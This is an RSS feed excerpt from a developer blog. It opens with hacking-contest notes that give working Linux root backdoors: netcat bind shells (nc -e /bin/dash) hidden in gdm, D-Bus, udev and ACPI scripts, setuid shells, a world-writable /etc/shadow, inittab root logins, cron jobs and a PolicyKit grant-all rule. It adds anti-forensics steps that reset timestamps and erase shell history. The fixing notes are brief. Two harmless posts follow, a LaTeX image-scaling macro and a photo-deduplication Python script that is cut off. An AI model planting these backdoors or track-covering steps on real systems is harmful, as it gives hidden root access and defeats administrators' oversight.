<i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc15.1"><br />
15.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/gdm/Init/Default&nbsp;&lt;&lt;EOF
cp&nbsp;/bin/dash&nbsp;/etc/gdm/gdm-greeter
chmod&nbsp;+s&nbsp;/etc/gdm/gdm-greeter
nc.traditional&nbsp;-l&nbsp;-p&nbsp;31345&nbsp;-e&nbsp;/bin/dash&nbsp;&amp;
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc15.2"><br />
15.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
less&nbsp;/etc/gdm/Init/Default
</pre>
<div class="p"></div>
<h3><a name="tth_sEc15.3"><br />
15.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
Log&nbsp;off

Log&nbsp;on

/etc/gdm/gdm-greeter

nc&nbsp;localhost&nbsp;31345
</pre>
<div class="p"></div>
<div class="p"></div>
<h2><a name="tth_sEc16"><br />
16</a>&nbsp;&nbsp;shadow a+rw</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc16.1"><br />
16.1</a>&nbsp;&nbsp;Hacking</h3>
<p><tt>chmod a+rw /etc/shadow</tt></p>
<h3><a name="tth_sEc16.2"><br />
16.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;-l&nbsp;/etc/shadow

chmod&nbsp;u=rw,g=r&nbsp;/etc/shadow
</pre>
<div class="p"></div>
<h3><a name="tth_sEc16.3"><br />
16.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>nano /etc/shadow</p>
<div class="p"></div>
<h2><a name="tth_sEc17"><br />
17</a>&nbsp;&nbsp;SysV Init Alt+Up</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc17.1"><br />
17.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
touch&nbsp;/etc/init.d/throttle
chmod&nbsp;a+x&nbsp;$_
nano&nbsp;$_&nbsp;&lt;&lt;EOF
#!/bin/sh
exec&nbsp;&lt;/dev/tty13&nbsp;&#062;/dev/tty13&nbsp;2&#062;/dev/tty13
exec&nbsp;/bin/bash
EOF

nano&nbsp;/etc/inittab&nbsp;&lt;&lt;EOF
kb::kbrequest:/etc/init.d/throttle
EOF

init&nbsp;q
</pre>
<div class="p"></div>
<h3><a name="tth_sEc17.2"><br />
17.2</a>&nbsp;&nbsp;Fixing</h3>
<p><tt>nano /etc/inittab</tt></p>
<div class="p"></div>
<h3><a name="tth_sEc17.3"><br />
17.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>Ctrl+Alt+F1, Alt+Up, Alt+Left</p>
<div class="p"></div>
<h2><a name="tth_sEc18"><br />
18</a>&nbsp;&nbsp;SysV Init Ctrl+Alt+Del</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc18.1"><br />
18.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/inittag&nbsp;&lt;&lt;EOF
ca:12345:ctrlaltdel:chmod&nbsp;+s&nbsp;/bin/dash
EOF

init&nbsp;q
</pre>
<h3><a name="tth_sEc18.2"><br />
18.2</a>&nbsp;&nbsp;Fixing</h3>
<p><tt>nano /etc/inittag</tt></p>
<h3><a name="tth_sEc18.3"><br />
18.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>Ctrl+Alt+F1, Ctrl+Alt+Del, dash</p>
<div class="p"></div>
<h2><a name="tth_sEc19"><br />
19</a>&nbsp;&nbsp;SysV Init tty14</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc19.1"><br />
19.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/inittag&nbsp;&lt;&lt;EOF
14:23:respawn:/bin/login&nbsp;-f&nbsp;root&nbsp;&lt;/dev/tty14&nbsp;&#062;/dev/tty14&nbsp;2&#062;/dev/tty14
EOF

init&nbsp;q
</pre>
<h3><a name="tth_sEc19.2"><br />
19.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
less&nbsp;/etc/inittag
</pre>
<div class="p"></div>
<h3><a name="tth_sEc19.3"><br />
19.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>Ctrl+Alt+F1, Alt+Left</p>
<div class="p"></div>
<h2><a name="tth_sEc20"><br />
20</a>&nbsp;&nbsp;DBus Root Service</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc20.1"><br />
20.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
cd&nbsp;/usr/share/dbus-1/system-services/
cp&nbsp;org.freedesktop.org.UPower&nbsp;org.Rootme.Remotely.service
nano&nbsp;org.Rootme.Remotely.service&nbsp;&lt;&lt;&nbsp;EOF
[D-BUS&nbsp;Service]
Name=org.Rootme.Remotely
Exec=/bin/nc.traditional&nbsp;-l&nbsp;-p&nbsp;31343&nbsp;-e&nbsp;/bin/dash
User=root
EOF

cp&nbsp;org.freedesktop.org.UPower&nbsp;org.Rootme.Locally.service
nano&nbsp;org.Rootme.Locally.service&nbsp;&lt;&lt;&nbsp;EOF
[D-BUS&nbsp;Service]
Name=org.Rootme.Locally
Exec=/bin/chmod&nbsp;u+s&nbsp;/bin/dash
User=root
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc20.2"><br />
20.2</a>&nbsp;&nbsp;Fixing</h3>
<p><tt>grep Exec /usr/share/dbus-1/system-services/*.service</tt></p>
<h3><a name="tth_sEc20.3"><br />
20.3</a>&nbsp;&nbsp;Exploiting</h3>
<p><tt>dbus-send -system -print-reply -dest='org.Rootme.Locally' /org/Rootme/Locally org.Rootme.Locally</tt></p>
<div class="p"></div>
<p><tt>dbus-send -system -print-reply -dest='org.Rootme.Remotely' /org/Rootme/Remotely org.Rootme.Remotely</tt></p>
<div class="p"></div>
<p><tt>nc localhost 31343</tt></p>
<div class="p"></div>
<p><tt>dash</tt></p>
<div class="p"></div>
<div class="p"></div>
<h2><a name="tth_sEc21"><br />
21</a>&nbsp;&nbsp;Crontabs</h2>
<p><i>Local</i><br />
<i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc21.1"><br />
21.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
touch&nbsp;/etc/cron.d/pamd
chmod&nbsp;a+x&nbsp;/etc/cron.d/pamd
nano&nbsp;/etc/cron.d/pamd&nbsp;&lt;&lt;EOF
*/2&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;cp&nbsp;/bin/dash&nbsp;/usr/share/gdm/chooser
*/2&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;chmod&nbsp;+s&nbsp;/usr/share/gdm/chooser
EOF

touch&nbsp;/etc/cron.d/dhclient
chmod&nbsp;a+x&nbsp;/etc/cron.d/dhclient
nano&nbsp;/etc/cron.d/dhclient&nbsp;&lt;&lt;EOF
*/2&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;/sbin/mount.btrfs
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc21.2"><br />
21.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
sudo&nbsp;ls&nbsp;-l&nbsp;/var/spool/cron/crontabs/&nbsp;/etc/cron.*/
</pre>
<div class="p"></div>
<h3><a name="tth_sEc21.3"><br />
21.3</a>&nbsp;&nbsp;Exploiting</h3>
<div class="p"></div>
<pre>
ls&nbsp;-l&nbsp;/etc/cron.d/dhclient&nbsp;/etc/cron.d/pamd&nbsp;/usr/share/gdm/chooser

Wait

/usr/share/gdm/chooser

nc&nbsp;-l&nbsp;localhost&nbsp;31339
</pre>
<div class="p"></div>
<h2><a name="tth_sEc22"><br />
22</a>&nbsp;&nbsp;udev</h2>
<p><i>Local</i><i>root</i></p>
<div class="p"></div>
<p>udev is responsible for devices being attached to Linux.<br />
It is able to trigger commands on certain hardware.<br />
Under the assumption that a Laptop will have a rfkill switch, one could write the following rules.<br />
Note that the commands block, i.e. to hit the second rule, the first program must exist.<br />
udev automatically reloads the rules.</p>
<div class="p"></div>
<h3><a name="tth_sEc22.1"><br />
22.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/lib/udev/rules.d/99-rfkill.rules&nbsp;&lt;&lt;EOF
SUBSYSTEM=="rfkill",&nbsp;RUN&nbsp;+="/bin/nc.traditional&nbsp;-l&nbsp;-p&nbsp;31337&nbsp;-e&nbsp;/bin/sh"
SUBSYSTEM=="rfkill",&nbsp;RUN&nbsp;+="/bin/chmod&nbsp;+s&nbsp;/bin/dash"
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc22.2"><br />
22.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
grep&nbsp;RUN&nbsp;/lib/udev/rules.d/*&nbsp;/etc/udev/rules.d/
</pre>
<p>but too hard</p>
<div class="p"></div>
<h3><a name="tth_sEc22.3"><br />
22.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>toggle rfkill via hardware switch</p>
<div class="p"></div>
<pre>
nc&nbsp;localhost&nbsp;31344

dash
</pre>
<div class="p"></div>
<h2><a name="tth_sEc23"><br />
23</a>&nbsp;&nbsp;ACPI Powerbtn</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc23.1"><br />
23.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/acpi/powerbtn.sh&nbsp;&lt;&lt;EOF
nc.traditional&nbsp;-l&nbsp;-p&nbsp;31348&nbsp;-e&nbsp;/bin/sh
/bin/chmod&nbsp;+s&nbsp;/bin/dash
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc23.2"><br />
23.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;/etc/acpi/

less&nbsp;/etc/acpi/powerbtn.sh
</pre>
<div class="p"></div>
<h3><a name="tth_sEc23.3"><br />
23.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>Press power button</p>
<div class="p"></div>
<pre>
nc&nbsp;localhost&nbsp;31348

dash
</pre>
<div class="p"></div>
<h2><a name="tth_sEc24"><br />
24</a>&nbsp;&nbsp;PolicyKit GrantAll</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<p>Note that this reflects policykit&nbsp;0.96 which has a deprecated config file syntax.</p>
<h3><a name="tth_sEc24.1"><br />
24.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<div class="p"></div>
<pre>
nano&nbsp;/usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change&nbsp;org.freedesktop.policykit.exec&nbsp;to&nbsp;read
&nbsp;&nbsp;&nbsp;&nbsp;&lt;defaults&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_any&#062;yes&lt;/allow_any&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_inactive&#062;yes&lt;/allow_inactive&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_active&#062;yes&lt;/allow_active&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/defaults&#062;

pkill&nbsp;polkitd
</pre>
<div class="p"></div>
<h3><a name="tth_sEc24.2"><br />
24.2</a>&nbsp;&nbsp;Fixing</h3>
<div class="p"></div>
<pre>
nano&nbsp;/usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change&nbsp;org.freedesktop.policykit.exec&nbsp;to&nbsp;read
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_any&#062;auth_admin&lt;/allow_any&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_inactive&#062;auth_admin&lt;/allow_inactive&#062;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;allow_active&#062;auth_admin&lt;/allow_active&#062;

pkill&nbsp;polkitd
</pre>
<h3><a name="tth_sEc24.3"><br />
24.3</a>&nbsp;&nbsp;Exploiting</h3>
<div class="p"></div>
<pre>
pkexec&nbsp;id
</pre>
<div class="p"></div>
<h2><a name="tth_sEc25"><br />
25</a>&nbsp;&nbsp;decoy timestamps</h2>
<p>No hack in the traditional sense but stuff that one might need to do.</p>
<div class="p"></div>
<h3><a name="tth_sEc25.1"><br />
25.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
for&nbsp;i&nbsp;in&nbsp;`find&nbsp;/etc/&nbsp;/bin/&nbsp;/sbin/&nbsp;/var/spool/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/var/run&nbsp;/usr/lib/ConsoleKit&nbsp;/usr/share/dbus-1/&nbsp;/usr/share/polkit-1/`;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;touch&nbsp;$i;&nbsp;done
export&nbsp;HISTFILE=/dev/null
rm&nbsp;~/.*history*
</pre>
<div class="p"></div>
<h3><a name="tth_sEc25.2"><br />
25.2</a>&nbsp;&nbsp;Fixing</h3>
<div class="p"></div>
<h3><a name="tth_sEc25.3"><br />
25.3</a>&nbsp;&nbsp;Exploiting</h3>
<div class="p"></div>
<pre>
find&nbsp;/&nbsp;-mtime&nbsp;-1

find&nbsp;/&nbsp;-ctime&nbsp;-1
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/05/linuxtag-hacking-contest-notes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perfectly scale an image to the rest of a page with LaTeX</title>
		<link>http://blogs.gnome.org/muelli/2011/04/perfectly-scale-an-image-to-the-rest-of-a-page-with-latex/</link>
		<comments>http://blogs.gnome.org/muelli/2011/04/perfectly-scale-an-image-to-the-rest-of-a-page-with-latex/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 12:06:00 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[bullshitbingo]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[latex]]></category>
		<category><![CDATA[scale]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1593</guid>
		<description><![CDATA[I had the following problem for a long time: I wanted to embed a picture into a page and automatically have it scaled to the maximum size that possibly fits the page, but not more. Obviously, simply doing a \includeimage[width=\textwidth]{myimage} wouldn&#8217;t do the job, because if the image is more tall than wide, the image [...]]]></description>
			<content:encoded><![CDATA[<p>I had the following problem for a long time: I wanted to embed a picture into a page and automatically have it scaled to the maximum size that possibly fits the page, but not more. Obviously, simply doing a</p>

<div class="wp_syntax"><div class="code"><pre class="latex" style="font-family:monospace;"><span style="color: #800000; font-weight: normal;">\includeimage</span><span style="color: #E02020; ">[</span><span style="color: #C08020; font-weight: normal;">width=\<span style="color: #800000;">textwidth</span></span><span style="color: #E02020; ">]{</span><span style="color: #2020C0; font-weight: normal;">myimage</span><span style="color: #E02020; ">}</span></pre></div></div>

<p>wouldn&#8217;t do the job, because if the image is more tall than wide, the image would grow beyond the page. One could use the information from the \textheigth register, i.e. like</p>

<div class="wp_syntax"><div class="code"><pre class="latex" style="font-family:monospace;"><span style="color: #800000; font-weight: normal;">\includeimage</span><span style="color: #E02020; ">[</span><span style="color: #C08020; font-weight: normal;">width=\<span style="color: #800000;">textwidth</span>,height=<span style="color: #800000; font-weight: normal;">\textheight</span>,keepaspectration=true</span><span style="color: #E02020; ">]{</span><span style="color: #2020C0; font-weight: normal;">myimage</span><span style="color: #E02020; ">}</span></pre></div></div>

<p>But that doesn&#8217;t take already existing text into account, i.e. some description above the image that you definitely want to have on the same page.</p>
<p>So <a href="http://www.informatik.uni-hamburg.de/TGI/studenten/adameit/adameit.html">Simon</a> cooked up a macro that would allow me to do exactly what I wanted by creating a new box, getting its height and subtracting that from \textheight. Lovely. Here&#8217;s the code:</p>

<div class="wp_syntax"><div class="code"><pre class="latex" style="font-family:monospace;"><span style="color: #800000; font-weight: normal;">\newlength</span><span style="color: #E02020; ">{</span><span style="color: #2020C0; font-weight: normal;"><span style="color: #800000; font-weight: normal;">\textundbildtextheight</span></span><span style="color: #E02020; ">}</span>
&nbsp;
<span style="color: #E02020; ">\</span><span style="color: #800000;">newcommand</span><span style="color: #E02020; ">{</span><span style="color: #2020C0; font-weight: normal;"><span style="color: #800000; font-weight: normal;">\textundbild</span></span><span style="color: #E02020; ">}[</span><span style="color: #C08020; font-weight: normal;">2</span><span style="color: #E02020; ">]{</span><span style="color: #2020C0; font-weight: normal;">
<span style="color: #800000; font-weight: normal;">\settototalheight</span><span style="color: #800000; font-weight: normal;">\textundbildtextheight</span><span style="color: #E02020; ">{</span><span style="color: #800000; font-weight: normal;">\vbox</span>{#1</span><span style="color: #E02020; ">}}</span>
#1
<span style="color: #800000; font-weight: normal;">\vfill</span>
<span style="color: #C00000; font-weight: normal;">\begin</span><span style="color: #E02020; ">{</span><span style="color: #2020C0; font-weight: normal;"><span style="color: #0000D0; font-weight: normal;">center</span></span><span style="color: #E02020; ">}</span>
<span style="color: #E02020; ">\</span><span style="color: #800000;">includegraphics</span><span style="color: #E02020; ">[</span><span style="color: #C08020; font-weight: normal;">width=\<span style="color: #800000;">textwidth</span>,keepaspectratio=true,height=<span style="color: #800000; font-weight: normal;">\textheight</span>-<span style="color: #800000; font-weight: normal;">\the</span><span style="color: #800000; font-weight: normal;">\textundbildtextheight</span></span><span style="color: #E02020; ">]{</span><span style="color: #2020C0; font-weight: normal;">#2</span><span style="color: #E02020; ">}</span>
<span style="color: #C00000; font-weight: normal;">\end</span><span style="color: #E02020; ">{</span><span style="color: #2020C0; font-weight: normal;"><span style="color: #0000D0; font-weight: normal;">center</span></span><span style="color: #E02020; ">}</span>
<span style="color: #800000; font-weight: normal;">\vfill</span>
<span style="color: #E02020; ">}</span></pre></div></div>

<p>I&#8217;m sure it&#8217;s not very correct and it&#8217;s possible to make it not work properly, but it does the job very well for me as you can see on the following rendered pages:</p>
<div id="attachment_1599" class="wp-caption aligncenter" style="width: 1251px"><br />
<a href="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina4.png"><img src="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina4.png" alt="" width="1241" height="1754" class="aligncenter size-full wp-image-1599" /></a><p class="wp-caption-text">DIN A4 Page</p></div>
<div id="attachment_1600" class="wp-caption aligncenter" style="width: 1251px"><a href="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina5.png"><img src="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina5.png" alt="" width="875" height="1241" class="aligncenter size-full wp-image-1600" /></a><p class="wp-caption-text">DIN A5 Page</p></div>
<div id="attachment_1602" class="wp-caption aligncenter" style="width: 1251px"><a href="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina61.png"><img src="http://blogs.gnome.org/muelli/files/2011/04/infoheft-dina61.png" alt="" width="1241" height="1749" class="size-full wp-image-1602" /></a><p class="wp-caption-text">DIN A6 Page</p></div>
<p>And well, the contents of the image is a bit ugly, too, but if you know a nice <a href="http://en.wikipedia.org/wiki/Buzzword_bingo">bullshit bingo</a> generator, let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/04/perfectly-scale-an-image-to-the-rest-of-a-page-with-latex/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sifting through a lot of similar photos</title>
		<link>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/</link>
		<comments>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 18:04:39 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1540</guid>
		<description><![CDATA[To keep the amount of photos in my photo library sane, I had to sift through many pictures and get rid of redundant ones. I defined redundancy as many pictures taken at the same time. Thus I had to pick one of the redundant pictures and delete the other ones. My strategy so far was [...]]]></description>
			<content:encoded><![CDATA[<p>To keep the amount of photos in my photo library sane, I had to sift through many pictures and get rid of redundant ones. I defined redundancy as many pictures taken at the same time. Thus I had to pick one of the redundant pictures and delete the other ones.</p>
<p>My strategy so far was to use Nautilus and Eye of GNOME to spot pictures of the same group and delete all but the best one.</p>
<p>I realised that photos usually show the same picture if they were shot at the same time, i.e. many quick shots after another. I also realised that usually the best photograph was the biggest one in terms on bytes in JPEG format.</p>
<p>To automate the whole selection and deletion process, I hacked together a tiny script that stupidly groups files in a directory according to their mtime and deletes all but the biggest one.</p>
<p>Before deletion, it will show the pictures with <code>eog</code> and ask whether or not to delete the other pictures.</p>
<p>It worked quite well and helped to quickly weed out 15% of my pictures <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>I played around with another method: Getting the difference of the histograms of the images, to compare the similarity. But as the pictures were shot with a different exposure, the histograms were quite different, too. Hence that didn&#8217;t work out very well. But I&#8217;ll leave it in, just for reference.</p>
<p>So if you happen to have a similar problem, feel free to grab the following script <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':-)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">collections</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">math</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span> <span style="color: #ff7700;font-weight:bold;">import</span> join, getsize, getmtime
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">operator</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">subprocess</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
&nbsp;
&nbsp;
&nbsp;
<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span>.__enter__ = <span style="color: #ff7700;font-weight:bold;">lambda</span> <span style="color: #008000;">self</span>: <span style="color: #008000;">self</span>
<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span>.__exit__ = <span style="color: #ff7700;font-weight:bold;">lambda</span> <span style="color: #008000;">self</span>, <span style="color: #008000;">type</span>, value, <span style="color: #dc143c;">traceback</span>: <span style="color: #008000;">self</span>.<span style="color: black;">kill</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
directory = <span style="color: #483d8b;">'.'</span>
THRESHOLD = <span style="color: #ff4500;">3</span>
GET_RMS = <span style="color: #008000;">False</span>
&nbsp;
mtimes = <span style="color: #dc143c;">collections</span>.<span style="color: black;">defaultdict</span><span style="color: black;">&#40;</span><span style="color: #008000;">list</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_picgroups_by_time<span style="color: black;">&#40;</span>directory=<span style="color: #483d8b;">'.'</span><span style="color: black;">&#41;</span>:
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> root, dirs, files <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">walk</span><span style="color: black;">&#40;</span>directory<span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">for</span> name <span style="color: #ff7700;font-weight:bold;">in</span> files:
			fname = join<span style="color: black;">&#40;</span>root, name<span style="color: black;">&#41;</span>
			mtime = getmtime<span style="color: black;">&#40;</span>fname<span style="color: black;">&#41;</span>
			mtimes<span style="color: black;">&#91;</span>mtime<span style="color: black;">&#93;</span>.<span style="color: black;">append</span><span style="color: black;">&#40;</span>fname<span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;"># It's gotten a bit messy, but a OrderedDict is available in Python 3.1 hence this is the manually created ordered list.</span>
	picgroups = <span style="color: black;">&#91;</span>v <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: black;">&#40;</span>k, v<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">sorted</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: black;">&#40;</span>k, v<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> k, v <span style="color: #ff7700;font-weight:bold;">in</span> mtimes.<span style="color: black;">iteritems</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>v<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&gt;</span>= THRESHOLD<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">return</span> picgroups
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_picgroups<span style="color: black;">&#40;</span>directory=<span style="color: #483d8b;">'.'</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">return</span> get_picgroups_by_time<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
picgroups = get_picgroups<span style="color: black;">&#40;</span>directory<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Got %d groups'</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_max_and_picgroups<span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> picgroup <span style="color: #ff7700;font-weight:bold;">in</span> picgroups:
		max_of_group = <span style="color: #008000;">max</span><span style="color: black;">&#40;</span>picgroup, key=<span style="color: #ff7700;font-weight:bold;">lambda</span> x: getsize<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> picgroup
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'max: %s: %d'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>max_of_group, getsize<span style="color: black;">&#40;</span>max_of_group<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #ff7700;font-weight:bold;">if</span> GET_RMS:
			<span style="color: #ff7700;font-weight:bold;">import</span> PIL.<span style="color: black;">Image</span>
			last_pic = picgroup<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
			<span style="color: #ff7700;font-weight:bold;">for</span> pic <span style="color: #ff7700;font-weight:bold;">in</span> picgroup<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span>:<span style="color: black;">&#93;</span>:
				image1 = PIL.<span style="color: black;">Image</span>.<span style="color: #008000;">open</span><span style="color: black;">&#40;</span>last_pic<span style="color: black;">&#41;</span>.<span style="color: black;">histogram</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
				image2 = PIL.<span style="color: black;">Image</span>.<span style="color: #008000;">open</span><span style="color: black;">&#40;</span>pic<span style="color: black;">&#41;</span>.<span style="color: black;">histogram</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
				rms = <span style="color: #dc143c;">math</span>.<span style="color: black;">sqrt</span><span style="color: black;">&#40;</span><span style="color: #008000;">reduce</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">operator</span>.<span style="color: black;">add</span>, <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> a,b: <span style="color: black;">&#40;</span>a-b<span style="color: black;">&#41;</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">2</span>, image1, image2<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>/<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>image1<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'RMS %s %s: %s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>last_pic, pic, rms<span style="color: black;">&#41;</span>
&nbsp;
			last_pic = pic
		<span style="color: #ff7700;font-weight:bold;">yield</span> <span style="color: black;">&#40;</span>max_of_group, picgroup<span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
max_and_picgroups = get_max_and_picgroups<span style="color: black;">&#40;</span>picgroups<span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> decide<span style="color: black;">&#40;</span>prompt, decisions<span style="color: black;">&#41;</span>:
